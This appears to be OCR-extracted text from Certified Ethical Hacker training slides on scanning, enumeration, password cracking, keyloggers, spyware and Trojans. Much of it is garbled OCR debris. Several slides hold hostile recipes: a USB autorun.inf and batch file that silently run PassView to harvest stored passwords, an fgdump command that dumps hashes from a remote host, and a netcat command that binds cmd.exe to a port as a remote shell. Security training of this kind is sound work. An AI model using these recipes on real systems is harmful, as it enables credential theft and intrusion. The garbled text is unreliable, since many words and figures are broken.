N&déh (pcaync-hteps)
9090 (mebar)
vEie (#d
31038 | unkneun)
34971 | umknowo)
94172 |unknown)
dA8T1 mitnowm)
80 (hrLp
00 |hetp
00 (htey
8C |htep

It lists 1Pwd/1PvE -

addresses, hostnames, Netwt Irtertes ad 5 anir:

domain names, email s S
addresses, and URLs Hrbursl indevieons wren rocost. axe

Ir:-" e e

automatically or with &) ense exe
manual tools oo eattuice
|’ ']'1 avoiln 1ods

{ .I“I..‘ Llnrunrslif as

| Fassnn Luu.aw ool
ﬁﬁ\. O3S Tuok
: =" Pacurt Leved Took

| m—
amal 1o

o0
oo COoODOCODO O

rOoDbDOoOOCOBDOOoOODOOO

3 B e

~—CcDooc
[ |
eSsScocoaSasbDooo S a®

-
Fhe R BB
PR Je IR e
E- - -
S e
. e b

b e

s el p—=a T

. A

| e — -—-—-' PP . e
e G & ik
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Port Scanning Countermeasures

Configure firewall and IDS rules
to detect and block probes

Hide sensitive information from
public view

Ensure that mechanism used for
routing and filtering at the routers
and firewalls respectively cannot be
bypassed using particular source
ports or source-routing methods

Ensure that the router, IDS, and
firewall firmware are updated
to their latest releases

I'.\-..-- '
1\
\,.

CEH

Cartfmd § Ethmal Bache

Use custom rule set to lock
down the network and block
unwanted ports at the firewall

Filter all ICMP messages (i.e.
inbound ICMP message types and
outbound ICMP type 3 unreachable
messages) at the firewalls and
routers

Perform TCP and UDP scanning
along with ICMP probes against your
organization’s IP address space to
check the network configuration
and its available ports

Ensure that the anti scanning
and anti spoofing rules are
configured
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4 Banner grabbing or OS fingerprinting is the method to determine the operating
system running on a remote target system. There are two types of banner grabbing:

active and passive.

Active Banner Grabbing

@ Specially crafted packets are sent to remote OS

and the response is noted

® The responses are then compared with a
database to determine the OS

@ Response from different OSes varies due to
differences in TCP/IP stack implementation

Why Banner Grabbing?

Passive Banner Grabbing <1

© Banner grabbing from error messages:
Error messages provide information such as type of
server, type of OS, and SSL tool used by the target
remote system
Sniffing the network traffic:

Capturing and analyzing packets from the target
enables an attacker to determine OS used by the
remote system

Banner grabbing from page extensions:

Looking for an extension in the URL may assist in
determining the application version

Example: .aspx => IIS server and Windows platform

Identifying the OS used on the target host allows an attacker to figure out the vulnerabilities the
system posses and the exploits that might work on a system to further carry out additional attacks
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l

J ID Serve is used to identify the make, model, and
version of any web site's server software

J Itis also used to identify non-HTTP (non-web)
Internet servers such as FTP, SMTP, POP, NEWS, etc.

ID Serve

Gome = |
Intemet Sener densficabon UMy v1 02

ID SE Ne Persanal Sacuy Fraewa:s by, Seve Gibson

Copyrght i1 2001 by Gidnon Resack Com

SeneiQuery | O3A/Hep |

Eovynrs

. N ss a mopy / pasta @ Interes prew U @ 1P addes bers svarple s el oo
1 [(nﬂrlocnu:lm com ]

.12- 'y "j‘“ I.'\;S_-'va_- 1 ™ Whan anirerret URL o P e boge possded e
b o e bufton b rehde & ol b upischend e
- ey

Surves Quary pracesary
AT ] ¢

3

- Rl et B
4 | Map st BN D I

Copy Gots 1D Senva wah fa0e

-

o — T e = —

http://www.grc.com

d Netcraft reports a site's operating system, web
server, and netblock owner together with, if
available, a graphical view of the time since last
reboot for each of the computers serving the site

Netcraft

= ' - e T et

http://toolbar.netcraft.com
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Vulnerability scanning identifies vulnerabilities and weaknesses of a system and network in
order to determine how a system can be exploited

Network topology
and OS vulnerabilities

Application and |
services vulnerabilities

Open ports
and running services

Application
and services
configuration errors
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Vulnerability Scanning Tool:
Nessus

Nessus is the vulnerability
and configuration
assessment product

Features

Agentless auditing
Compliance checks
Content audits
Customized reporting
High-speed vulnerability
discovery

In-depth assessments
Mobile device audits
Patch management

integration Wrach Tomedoen M Mag i Mervacsm Carmt At e Wdows gy

w ot ool MfT Higrwliery R armmen

Scan policy design and
execution

http.//www.tenable.com
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Drawing Network Diagrams | C|EH

Gortitmd | Ethmal Slaban

J Drawing target’s network diagram gives valuable information about the network and its
architecture to an attacker

J Network diagram shows logical or physical path to a potential target

intranet DMZ intranet
T | g s
T S - = N
I
&3 ‘_t:,  Userl  User2 File Server App Server
fmail Server Web Sarves l [ I I
| | |
snw = Switch - -
e . . . A '..H - ! -
— - -1?—-{ Internet 1 11 -
- L . i ! -~ — ]
Prowy ‘erver Router Router I Router Proxy Server
s i W
' ! _l | 2 E A | l i |
E " - b
. N | ) B . N U =
g S— | PHP Server  HTTP Server — —
User 3 User 4 App Seiver ! Uterd Userd SAN DB Server
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Network Discovery Tool:
LANsurveyor

0 LANsurveyor discovers a network and produces a comprehensive network diagram
that integrates OS| Layer 2 and Layer 3 topology data

Features

Auto-generate Network Maps
Export Network Maps to Visio
Auto-detect Changes

Inventory Management

Network Regulatory
Compliance

Network Topology Database

Multi-level Network Discovery
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A proxy is a network computer that can
serve as an intermediary for connecting
with other computers

As a firewall, a proxy protects
the local network from outside
access

=

Specialized proxy servers can
filter out unwanted content

C/EH

G gt Pl Mambes

Attacker Target Organization

As an |P addresses multiplexer, a
proxy allows the connection of a ﬂ
number of computers to the
Internet while having only "-‘:"
one IP address

Proxy servers can be used
(to some extent) to anonymize
web surfing

Copyright © by E&-Geuncil. All Rights Reserved. Reproduction is Strictly Protibited.




Proxy Tool: TOR (The Onion
Routing)

: 3 - Vidalia Control Panel | = | © IS
Anonymity Privacy Security sl il
Provides Ensures the privacy Provides multiple
anonymaous of both sender and layers of security PRy - st
communication recipient of a to a message é '
over Internet ‘message

Vrdsla Shortosss

o909
Stap T ‘s Jriawg

e‘ﬂun the Network z&.w 2 Hew Idertity

B eandwidth Giaph B4 Heip € s

Encryption Proxy Chain Tor Proxy

Encrypts and Uses cooperating The initiating onion

decrypts all data proxy routers router, called a “Tor
packets using public throughout the client” determines

key encryption network the path of
transmission

——————————— )
| [Hesmegetogiy Csewp  pdos

of] Show this windaw an etarap [T—

https://www.torproject.org
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Anonymizers

4 An anonymizer removes all the identifying information from the user’s
computer while the user surfs the Internet

4 Anonymizers make activity on the Internet untraceable

4 Anonymizer tools allow you to bypass Internet censored websites

Why use Anonymizer?

%
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Enumeration

Module 04

Engineered by Hackers. Presented by Professionals.




Cartfiad § (chwad Baibage

Extract user names - E""_a“t':f";";at'l‘:"
- USII'IS e aeliau

usingemail IDs > =

/

Extract user names
using SNMP

Brute force Active

Extract information
using DNS Zone

dfnsIier

Extract user groups
 from Windows

—m—
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Services and Ports to Enumerate (|EH

TCP 53 UDP 161

Simple Network Management
protocol (SNMP)

DNS zone transfer

¥ TCP 135 TCP/UDP 389
Microsoft RPC Endpoint Mapper :ﬁ:ﬁ::ﬁ:‘;::;‘mﬁ Access

TCP 137 TCP/UDP 3368

NetBIOS Name Service (NBNS) Global Catalog Service

TCP 139 TCP 25

NetBIOS Session Service (SMB ov
N:tBlos) essioncenice | = Simple Mail Transfer Protocol (SMTP)
- -
— “
SMB over TCP (Direct Host)
== 74
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NetBIOS name is a unique 16 ASCII character string used to identify the network
devices over TCP/IP; 15 characters are used for the device name and 16" character
is reserved for the service or name record type

3

Attackers use the NetBios

E
<«
enumeration to obtain:
List of computers that belong
to a domain

3

List of shares on the individual
hosts on the network

Policies and passwords

N

li —_— = V)

WWW

NetBIOS Name List

Name

<host name>

<domain>

<host name>

<username>

<host name>

<domain>

<domain>

 NetBIOS

Code
<00>

<00>

<03>

Type
UNIQUE

GROUP

UNIQUE
UNIQUE
UNIQUE

GROUP

UNIQUE

Information Obtained

Hostname

Domain name

Messenger service running for that
computer

Messenger service running for that
individual logged-in user

Server service running

Master browser name far the
subnet

Domain master browser name,
identifies the PDC for that domain

Note: NetBIOS name resolution is not supported by Microsoft for Internet Protocol Version 6 (IPv6)
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System Hacking

Module 05

Engineered by Hackers. Presented by Professionals.




Information at Hand Before System ClEH
Hacking Stage i i

What you have at this stage:

® |P Range Target assessment ® |Intrusive probing
® Namespace [ B |dentification of B User lists
®  Employee web ‘ services . B Security flaws
usage ® |dentification of |
o o
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CEH Hacking Methodology (CHM) (|EH

Gaining Access

Access

Clearing Logs Maintaining
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Attacker

CIEH

Cartfmd § Ichmal Bache

Password cracking techniques are
used to recover passwords from
computer systems

Attackers use password cracking
techniques to gain unauthorized
access to the vulnerable system

Victim

Most of the password cracking
techniques are successful due to
weak or easily guessable passwords




Passwords that contain only
letters POTHMYDE

Passwords that contain
only letters and special
characters bob@&ba

Passwords that contain
only special characters
and numbers 123@$45

A+B+@ =

Passwords that contain
letters, special characters,
and numbers ap1@52

Passwords that contain only
numbers 23698217

Passwords that contain
only special characters
&' #Y%)

Passwords that contain
letters and numbers
meet123
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Password Cracking Techniques

A dictionary file
is loaded into the
cracking
application that
runs against user
accounts

Dictionary
Attack

—

The program tries
every
combination of
characters until
the password is
broken

It works like a

dictionary attack, but
adds some numbers f

and symbols tothe
words from the
dictionary and tries
to crack the
password

Hybrid
Attack

Itis the
combination of
both brute force
attack and the
dictionary attack

Syllable
Attack

CEH

(artfied | ftheal Sache

This attack is used
when the attacker
gets some
infarmation about
the password

R

Rule-based
Attack
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® Shoulder Surfing

© Social Engineering

y ® Dumpster Diving

N

4. Non-Electronic Attacks

‘ Attacker need not posses
technical knowledge to crack
password, hence known as
non-technical attack

© Pre-Computed Hashes

© Distributed Network

© Rainbow

1. Passive Online Attacks

Attacker performs
password hacking without
communicating with the
authorizing party

3. Offline Attack

Attacker copies the target’s
password file and then tries
to crack passwords in his own
system at different location

>

&  Wire Sniffing
® Man-in-the-Middle

® Replay

2. Active Online Attacks

Attacker tries a list of
passwords one by one against
the victim to crack password

W

© Hash Injection
® Trojan/Spyware/Keyloggers
© Password Guessing

© Phishing
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Passive Online Attack: Wire

C|EH

tertdimd § bl S

Sniffing

8 Attackers run packet sniffer tools on the
local area network (LAN) to access and
record the raw network traffic

o

Attacker

The captured data may include sensitive Coa
information such as passwords (Telnet, FTP, rlogin g
sessions, etc.) and emails

3

Sniffed credentials are used to gain unauthorized
access to the target system
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Passive Online Attacks: Man-in-the- c EH
Middle and Replay Attack 22

Original Connection

-----------------------------------------------------------------------------

MITM / Replay : Web Server

Traffic

Victim

Attacker

. In a MITM attack, the attacker acquires

Gain access tothe access to the communication channels J  Relatively hard to
communication between victim and server to extract perpetrate

channels - the information

J Must be trusted by one or
both sides

In a replay attack, packets and authentication

tokens are captured using a sniffer. After the .
Use sniffer relevant info is extracted, the tokens are 4 Cansometimes be broken

placed back on the network to gain access by invalidating traffic
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Active Online Attack: Password
Guessing

rThe attacker takes a set of

dictionary words and names,
and tries all the possible
combinations to crack the
password

Network
o
Server

o

Network

Considerations S

Time consuming

Requires huge amounts of
network bandwidth

Attacker Easily detected
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Active Online Attack:
Trojan/Spyware/Keylogger

Spyware is a type of malware that allows attackers to -
secretly gather information about a person or organization @

»  With the help of a Trojan, an attacker gets access to the
stored passwords in the attacked computer and is able to
read personal documents, delete files, and display pictures

A Keylogger is a program that runs in the background and
allows remote attackers to record every keystroke
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Active Online Attack: Hash
Injection Attack

A hashinjection attack allows an attacker to inject a compromised
hash into a local session and use the hash to validate to network
resources

The attacker finds and extracts a logged on domain admin
account hash

The attacker uses the extracted hash to log on to the
domain controller

Inject a compromised hash into a local session - ‘ ’
..-------------c--'----.nc---on-------ooo--o-------o--------1--:----.-------)- i |I -

3 Eo

Attacker Victim Computer

Copyright © by EG-Gaumcil. All Rights Reserved. Reproduction is Strictly Profibiited.




Non-Electronic Attacks

Looking at either the user’s
keyboard or screen while he/she
is loggingin

Convincing people to Searching for sensitive information
reveal the confidential at the user’s trash-bins, printer
information trash bins, and user desk for sticky

notes
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J A default password is a password supplied by the manufacturer with new
equipment that is password protected

Online tools to search default
passwords:

FErsivm Wsurnamns

http://securityoverride.org
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Stealing Passwords Using clEH
USB Drive v

Insert LUSB into

ttEvE NIV SRINEDEEREN

Attacker Passwords

Insert the USB drive and the

autorun window will pop-up
(if enabled)

PassView is executed in the background
and passwords will be stored in the .TXT
filesinthe USB drive

Contents of launch. bat
start pspv. exe/stext
pspv. txt

Download PassView, a
password hacking tool

Create autorun.inf in USB drive
[autorun]
en=launch.bat

Copy the downloaded files to
USB drive
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Stealing Passwords Using

C|EH

teridimd § bl S

Keyloggers

. J Keyloggers provide an easiest and most effective means of stealing a all victim's user names and
vy passwords
" . S = —
ey

4 If an attacker is successful in infecting a victim's machine with a Trojan that have keylogging
Yy features he can instruct the Trojan server to log and send back all user credentials to his machine

. \4 | I

Attackerinfects Victim logs on to the
victim’s local PC with domain server with his
a software keylogger ” e credentials
| .
.no.--.--. --------- ..-> "'90090llonn-n-ua.p.u.n--q........b
-

o . L]
S *eeve COOPPETAOPONAEDD hee &
swten - - LR 2 B3
s - . PpEses
coa® - o WV se llIllllBlll..‘Ol.ﬂ.l)
3

Keylogger sends Vi t'
’ login credentials to iIctum
Attacker : .

Domain
Server

,IIIIIIIIIII pemn

*
;ll ARG EEEREEEREAN llOlll (IRl I IR0 I RIR IR TRl I ARIRIRIRIIIRRIRIRRRIRTRR I} TIQRIN}
Attacker gains access to domain server
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How Hash Passwords Are Stored clEH
in Windows SAM? bos] |ty

/A Password hash using LM/NTLM
O

“ ;.umm ‘, R — ‘, ga,  Martin:1008:624AAC413795CDC)

4E835F1CDS0F4C76 : 6F5B5FF8FF6
- *-'J 280B59CCE252FDB500EBS : : :

c:\windows\system32\config\SAM

Administrator:500:598DDCE2660D3193AAD3B435B51404EE: 2D20D252A479F485CDF5EL171D93985BF 11 ¢
Guest:501L:NO PASSWORDX XA * A XX xxxXx %X * XXX %% % +NO PASSWORD*  * ** ¥ X X x * k kA X kKA XA X XX v v »
HelpAssistant:1000:B991A1DA16C539FE4158440889BEIFFA:ZE83DB1AD7FDIDCO981F36412863604E9: & ¢
SUPPORT_388945a0:1002:NO

PASSWORD*2 XA XXX XA kX222 44422 . FSCLID381495948F434C42AEEQ04DES90C:
Hackers:1003:37035B1C4AE2BOCSB75E0C8D76954A50:7773C08920232397CAE0B8L704964B786: ;¢
AdmMin:1004:NO PASSWORD * ¥ ¥ XX 2 XXX XXX XX *x %22 %X :NO DASSWORDX XX X XXX XA XXX kXXX XXX XXX 3 o

Martin:1005:624AARC413795CDCLAAD3B435B51404EE:C5AZ37B7ESDBE708D8436B6148A25FAL: !
John:1006:624AAC413795CDC1FF17365FAF1FFE89:3B1B47E42E0463276E3DED6CEF349F93:::

Jason:1007:624AAC413795CDC14E835F1CDYOF4CT6:6F585FF8FF6280B59CCE252FDBS00EBS ¢
Bmltﬂ[-008]%“4AAC413795CD014E835F1CD90F4C761kFSOSFstFs 80B59CCE252 FDBSDOEBa
v v v v
User name User ID LM Hash NTLM Hash

“LM hashes have beendisabled in Windows Vista and later Windows operating systems, LM will be blank in those systems.”
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Attacker

Adwensvatarn C\Wndows \systernd J\emd. e

-ﬂ!

PWDUMP extracts LM

and NTLM password
hashes of local user
accounts from the

|
fgdump .exe -h 192 .168.0.10
-u AnAdministrativeUser -p
14mepdsswird

Dumps a remote machine
(192.168.0.10) using a specified

user

Smrn itrpior (e onend Prampl

EL L

Security Account
Manager (SAM)
database
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C\EH

(ot § bl S

| 4 LOphtCrackis a password auditing and recovery application packed with features such as scheduling, hash extraction
from 64-bit Windows versions, multiprocessor algorithms, and networks monitoring and decoding

http://www.l0ph

| (CT .
I - '_. - -
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Cain & Abel

C|EH

Lot e [ I

4 Cain & Abel is a password recovery tool for Microsoft operating systems

4 Itallows recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using dictionary,
brute-force, and cryptanalysis attacks, recording Vol P conversations, decoding scrambled passwords, recovering
wireless network keys, revealing password boxes, uncovering cached passwords, and analyzing routing protocols

_:- - ol
Fiz vien Congpre Tosk —eb

|I E ——— p— e —— e

JeehES +v ¥ LYDEEQRE Q2 i
Tg Ne‘wvhﬁ snffe TJ’ r.'a:lnm i T_n LC::I..T! e Ti)\.‘wy

Lz - |('|-.1p‘_ M ot s
. @ NTLM Hosh, i ATt eyt RADUSCEEY LA . A EOABYY -
) NN Hashes (0] X
P MS-Cacte Haches I""—"" (arey kad (s — -y
2 mirat |l T T TS
M cen 0S40 Fag X s C) ko s M o2 ) b IMMathes o chafierge I
I Cwo PIXMDS Mast i © NTUM Bashes
B AP0P MDS Hashes X e Sy ac e L TIM Haches o chalenge i
@ CRAM MDS eghes AV-ar < B NTUM Session SecuRy Hoshes
o]+ CCPF DS Hashes | T
sl RIPv2 MDS Hachec Select M
o VRREHMAL wesrwe how
E S . lanl prasmeve
Mo MD2 masiwes (0)
T MO Henlves (0) Add = je1 ncar:
™ MOS Haskes (0] flesen e Cedetwe
MP Si1a-1 Hashes () Rerone Madire Accounts
‘3" SliA-2 Hashes (0) flewene Ml
B RIPEMD 160 Hashe:
{7 Kerh5 Predu th Hao Export

& Radus Shored Key
ﬂ_'a DE FSK Hashes (0)

’; MEOL Hashes (0) «l | .
' MySQL Haghes (0) = -
L™ T s http.//www.oxid.it
St packel U
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Kevlogger

Keystroke loggers are programs or hardware
devices that monitor each keystroke as user
types on a keyboard, logs onto a file, or
transmits them to a remote location

Legitimate applications for keyloggers include
in office and industrial settings to monitor
employees’ computer activities and in home
environments where parents can monitor and
spy on children’s activity

CEH

[TREL T ey Seame

Keyloggers are placed between the keyboard
hardware and the operating system

Keystroke logger allows attacker to gather
confidential information about victim such as
email ID, passwords, banking details, chat
room activity, IRC, instant messages, etc.

Copyright © by E-GCaumcil. All Rights Reserved. Reproduction s Strictly Prohibited.




. Types of Keystroke Loggers = (C|EH

Application Keylogger

Kernel Keylogger

Rootkit Keylogger

Device Driver

Keylogger

R Keylogger : r Keybogger Hypervisor-based
' Keylogger

Form Grabbing
Based Keylogger
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Capturing
Receiver

Electromagn
-etic Waves

User Press “A”

CAM Keylogger

g

Camera

Typed
Alphabet

_ Transmitto
e, the Hacker

Takes :

Screenshot A

User Press ‘A"

CEH

Las bfom il ol B
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Kevyloggers CIEH

(el § bobosl it

USB Keylogger

Keylogger embedded
inside the keyboard Bluetooth Keylogger Hardware Keylogger
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Kevylogger: All In One Keylogger | C|EH

Gortidond § Ethousl Mhachae

All In One Keylogger allows you to secretly track all activities from all
computer users and automatically receive logs to a desire email /FTP/
LAN accounting

S
- - &-,_.....*-n-—l-"‘""-' |
a.‘_w:‘-“

— s T |

| 3
Gw 1o Vol Lan i |
| | mpy P

Copyright © by EG-GCamncd. All Rights Reserved. Reproduction is Strictly Prol%itdited.



c|en

e S

<4 Spyware is a program that records user's
interaction with the computer and Internet
without the a user's knowledge and sends
them over the Internet to attacker

Spyware is stealthy, and hide its process,
files, and other objects in order to avoid
removal

It allows attacker to gather information
about a victim or organization such an email
addresses, user logins, passwords, credit card
numbers, banking credentials, etc.

Itis similar to Trojan horse, which is usually
bundled as a hidden component of freeware
programs that can be available on the
Internet for download

Drive-by download

\- Piggybacked software -
ey installation ‘ o
Masquerading as
anti-spyware
'J ¥’

Browser add-ons '
Cookies ?@

Web browser
vulnerability exploits




Desktop Spyware

Desktop spyware provides information regarding what
_. /' network users did on their desktops, how, and when

Live recording "" lecord and Record f * Record activity Logs users’
of remote or Internet software usage log and storeat keystrokes
desktops and timings
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Email Spyware

4 Email spyware monitors, records, and forwards incoming and outgoing

emails, including web-mail services like Gmail and Hotmail AT (S " Laar

Y y . _.v-’y-

4 It secretly records and sends copies of allincoming and outgoing % ‘ % .
emails to the attacker through specified email address Naaaaaaaaay N _—

d It records instant messages conducted in: AIM, MSN, Yahoo, Twitter,
Google+, Orkut, MySpace, Facebook, Gmail, etc.

e AR R AR RRE

Internet Spyware

J Internet spyware allows attacker to monitor all the web pages accessed by
the users

(D

It provides a summary report of overall web usage

It records the date/time of visits and the active time spent on each website

| J It blocks access to a particular web page or an complete website
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Child Monitoring Spyware (C|EH

Cortified § fthical Sacher

Child monitoring spyware allows you to track and monitor what
your kids are doing on the computer online and offline

Control and supervise how children use the PC and Internet

Block kids from accessing inappropriate web content using
specified keywords

Monitor activities for selected users such as websites, keystrokes,
and screenshots

Record selected activities, including screenshots, keystrokes, and
websites
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B USB spyware copies files from USB devices to your hard
disk in hidden mode without any request

¥ |t createsa hidden file/directory with the current date
and begins the background copying process

B |t allowsyou to capture, display, record, and analyze data
transferred between any USBdevice connected toa PC
and applications
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Audio Spyware

rds and spies
- of different instant
messengers such as MSN voice
- SOUNT /0 L chat, Skype voice chat, ICQ voice
on the computer ' ' : chat, MySpace voice chat, etc.

(2

| ———
Malicious users use audio
spyware to snoop and monitor

automatical ter - conference recordings, phone
attacker _ calls, and radio broadcasts
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Printer spyware facilitates remote printer usage monitoring and used to detect
exact print job properties such as number of copies, number of printed pages,
and content printed

It records all the information related to the printer activities in different
formats and saves the information in encrypted logs and also sends the log file
to a specified email address over Internet

Attacker
Copyright © by EG-Cammcll. All Rights Reserved. Reproduction is Strictly Prdkiliited.




NTFES Data Stream

Inject malicious
code in the existing file

Existing File NTFS File System

NTFS Alternate Data Stream (ADS) ADS is the ability to fork data ADS allows an attacker to inject
isa Windows hidden stream into existing files without malicious code on a breached
which contains metadata for the changing or altering their system and executes them

file such as attributes, word functionality, size, or display without being detected by the
count, author name, and access tofile browsing utilities user
and modification time of the files
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C|EH

How to Create NTFES Streams

L o

Notepad Is stream compliant application

ﬁ 8 Launch ¢:\>notepad myfile.txt:lion.txt ‘

— @ Click ‘Yes’ to create the new file and type 10 lines
of data Save the file

|

® Launch ¢:\>notepad
myfile.txt:tiger. txt

® To modify the stream

data, open document o e
‘myfile.txt:tig © Click ‘“Yes' to create the new

file and type other 20 lines

er. txt’innotepad
of text Save the file

be zero)

Q/ ¢ View the file size of my£file. txt (Itshould \ /
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Steganography is a technique of hiding a secret message within an ordinary
message and extracting it at the destination to maintain confidentiality of data

Utilizing a graphic image as a cover is the most popular method to conceal the
datain files

List of the compromised ' Source code for the
servers hacking tool

Plans for future : Communication and
attacks coordination channel

3
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Trojans and Backdoors

Module 06

Engineered by Hackers. Presented by Professionals.




What Is a Trojan? CEH

[P - [£F S W ==

< Itis a program in which the malicious or harmful - With the help of a Trojan, an attacker gets a

code is contained inside apparently harmless access to the stored passwords in the Trojaned
programming or data in such a way that it can computer and would be able to read personal
get control and cause damage, such as ruining documents, delete files and display pictures,
the file allocation table on your hard disk and/or show messages on the screen

Trojans replicate, spread, and get activated upon #
users’ certain predefined actions

Attacker

=g

Send me credit card details

Victim in Chicago
infected with Trojan

P e R e N RN N N N NN N TES NI EE R I ESReES RS A e P

Hereis my credit card number and expire date

-
-
-
-

Send me Facebook account inflormation
SRR RAREERNSIRRERRAERESOBAPAEREGAERG AR RARGAASERARS lll..l!l) victim in London
4--Iv-tvu-vI--n----!.---v--.-!v---u-----u-----u.----vq sesswrERES In'eded WithTrDjan
Hereis my Facebook login and profile

Send me e-banking login info

L)
(IR R L R R L L R R R R R R R R L R R LR R R L { o-ucc-.’ v :’;J Victim il'l Pa"s
AR AL L L LD LD LLLRL A LA L ALLL LD LR LR LA L LAl AL LR Ll L Ll L LRl L) TR EEIREER S * [n'ected with Trajan
Here is my bank ATM and pincode
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Communication Paths: Overt
and Covert Channels

Covert Channel

h < Overt Channel

d Alegitimate communication 4  Anunauthorized channel used
path within a computer system, for transferring sensitive data
or network, for transfer of data within a computer system, or

Example of overt channel network

includes games or any 4 The simplest form of covert
legitimate programs channel is a Trojan

Vi |
!

Poker.exe Trojan.exe
{Legitimate Application) _ . . \ (Keylogger Steals Passwords)
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How to Deploy a Trojan CIEH

Caited § [thoad Mhaches

Major Trojan Attack Paths:

® User clicks on the malicious link

e, w4 oL D e
- -

P ——— € User opens malicious email attachments

Apple Store

Cad 1 30-MY-APPLE

The Trojan connects Lo
Dear Cuscomer Link 10 Trojan Server the attack server

gy e e WO--Oale ey St L A'apeyd ©
RO (Pt SAONE VG i Sriine wig

Tiw e des st Appie Brere Cumtiment Smeview & | 100
PR A——— Attacker sends an emall
o victim containing link
e T e to Trojan server

S EE NN NNARDSISEEANEDANANAOERARERBARANENA SasceAceARABOmNAARD A

(AL RE AR R L AT RN AN

A Victim clicks the link and
Vinim - Iimmediately connects to
Trojan server in Russia

Attacker

Internet

Attackerinstalls s .
the Trojan infecting : ) i :
his machine B Trojan Server

- o 4| (Russia)

L R R R R R R AR R R Y]

Trojanis sent to the victim
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Command shell Trojan gives remote control of a command shell on a victim’s machine

Trojan server is installed on the victim's machine, which opens a port for attacker to connect.
The client is installed on the attacker's machine, which is used to launch a command shell on the

victim’s machine ,

C:> nc <ip> <port>

C:> nc ~-L -p <pprt>
-t - omd.exe

Copyright © by E&-Gemacil. All Rights Reserved. Reproduction is Strictly Prohiited




Pt pdon |
Nt pton |
IEdern
Evarits
S fiea

e fogoer

LY L

Fen Dr

[ Fie Properaes

Cypher Key:
Yictm's Name:
Server Name(s):
Extenson(s):

Cormecton gor t:

150 1709QWEY JC: 426 4200TPGNDEVC
TWQPCLL 258 73IVFCSIQK 13761

= ]

kernel 32, mscOnfig, winexec 32, netconfig,

exe,pif bat.dh, pe.com,bpa. xtr, b,

4288

IV Prevent same server mub4nfechons (recommended)

You may select

with your custom file exte

t 8 windows xxon o assonat




Botnet Trojans

J Botnet Trojans infect a large number of computers across a large geographical
area to create a network of bots that is controlled through a Command and
Control (C&C) center

- Botnet is used to launch various attacks on a victim including denial-of-service
attacks, spamming, click fraud, and the theft of financial information

2] _ _ _ %,

LL T Y e

-u-..“"§

Company
Website

Botnet C&C
Server
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Scanning for Suspicious
Ports ' '

Trojans open unused ports in victim machine to connect back to Trojan handlers

Look for the connection established to unknown or suspicious |IP addresses

CA\Windows\system32\cmd.exe

siNUsers\Adminlnetstat —an|
lctive Connections

Praoto
TICP
TCP
1CP
TCP
ICP
TGP
re
1CP
icp
TICP

o

Foeo Ly

0.0 ;!_Ir

B.8.1.0:8 NG Type netstat —an
n.a.n.v ‘ -. G in (Ommand pfﬂmpt

‘: :: :'_ SSCNENERRPENINENAsENARRERRBRERRS
L -

NN um

N.N.0.0:

0.8.80.0:8

H.A_H_1:i

1CP n.a.n.n;:

1CP .a. 2 H.0.0.0:0

TICP I S W.9.8_ 0w

ICP Bia.1: B.a.0. 0% s

1k ~algriis 520 9. 1:510 T SHED System Administrator
. 3 121 8.0 3 [ L4] ESFABLISIECD

3.0 .0:% LISTENING

EEEIOIEZEIEEoE
SEFOIEEIEE®ED
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Scanning for Suspicious

Processes

Trojans camouflage themselves as genuine Process Monitor is a monitoring tool for Windows
Windows services or hide their processes to that shows file system, registry, and process/thread
avoid detection activity

Some Trojans use PEs (Portable Executable)
to inject into various processes (such as
explorer.exe or web browsers)

20

Processes are visible but looks like a 23 Process Monitor - Sysinternals: www.sysinternalscom = | © RGN .
A (| 5 B T T e . |
legitimate processes and also helps bypass | [l Bt Gt Filter Jools Qptions Help |
desktop firewalls SE ABE 940 ® As A@aaE |
|I | Tme  PocessName 0D Operstion " Fath sk o] |
1108 _yExpiorer EXE 5372 [fCremeFielia  C.\Frogmm Fiea x86\Mazda Festo SUCCESS
t O = Bplorse EXE 5572 RogOperKey HKLM\Sdfiware\Miomedit\Wincow SUCCESS
11:08: «EBplorer EXE 5572 Volus HKLM\SOFTWARE \Microsoft \Win  NAMEZ NO°
. . e 109 1Explocrer EXE 5572 MRegClosaKay HKLM\SOFTWAREWhcesoft\Whn  SUCCESS
Trojans can also use rootkit methods to hide H ! 109 g EXE 3372 ?Emm C:\Pregram Fies wBENMozda toolo NAMENO [ |
- ! "nm o Explover EXE 5572 ‘\Querylosiclf. C.\Progian Mea =BG \M:a24a Feslo . SJOCESS
their processes | 11108 W cors e 548 'BReadFle  C\Windona\SystemiQwasv dl  SUCCESS
“ | 11:08:. ¥ cissexe 548 Wk ReadFle C.\Windows\Syslam 12\carsry di SUCCESS p
1 11-08° ¥ camsexs 548 ‘RagwaVulmHKthSOFTWARE\Mcnuﬂ\Wn SUCCESS
! 1118 § e 548 #hReadFie C\Windows\Syslem 12\ocs di SJUCCESS
| | 1103 T esnsexe 548 PhReadFe L \Wmndows\Sysiem 1.2 \ow i SUCCESS
{ e K omes 348 MR RocQuervKay  HKLM SICCESS
Use process monitoring tools to detect ‘ = .
lShommg 355,175 of 662, 305 events [54%) Baciked by virtual memory

[
hidden Trojans and backdoors h g |

http://technet.microsoft.com
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Windows automatically executes
instructions in

Finds registry errors, unneeded registry junk
and helps in detecting registry entries created

® Run naiznr . .p gregistry

™ VP —— by Trojans

- - -

W W A S N W e

RunServices -

-, e — - T el e A B e

RunOnce R e Gt - on !

| I e T W B W W s VT - it 0 @ oty C o e Urotaller \(AC TN TAD T 0L S A—— ST .f

P ARy P L G R L B w e "~ . - w”f”‘!!immmﬂ:‘:mr- LY B - B
- -y e— et "mae Y MR and clther bt C Uiners Wdmrese sor Desrtsn Yooy Sete 15 8 Lo

RunServicesOnce s e A | B% U vt et LV o Dok Vet ke 1 8,20

-5 AmEmen fets L e v bt B\ Agphontore Wigplrs tors Vredm teip 9 0. 1ew

— e A = P e el S — e e b G g =

-
- el e S - - ~n == MR e o v hae Felladeninm Wispirators Brehe la b 0 e
-

HKEY CLASSES ROOT\exefil S ———

= Syt b b - s e e ety B e ey S | g S gy v

e\shell\open\command

" %lll %* il & s it ol . . *ues ’ e g e mm ) b e b S b

-wr T | p——— - T & e MeE e s g e U iy (TR Sl e e et b |
e —— b i S - - - Aw e e A et = ——
D ——— . . o . W W S BT A SR T PP

Sections of registry A At G W LT B e - -t B W T bt N B P B Al s AR S e

- —_— "o o~ e ot e (Y Pl s Pty P By & N e

i
Scanning registry values for suspicious _—rt__r -
entries may indicate the Trojan
infection

http://www. macecrafrcom
Trojans insert instructions at these |
sections of registry to perform
malicious activities




Device Drivers Monitoring
Tool: DriverView

DriverView utility displays the list of all device drivers currently loaded on system. For each driver in the list,
additional information is displayed such as load address of the driver, description, version, product name, company
that created the driver, etc.

Compamy

Prver Window NT OperType/Type ! . Adob e Syriem
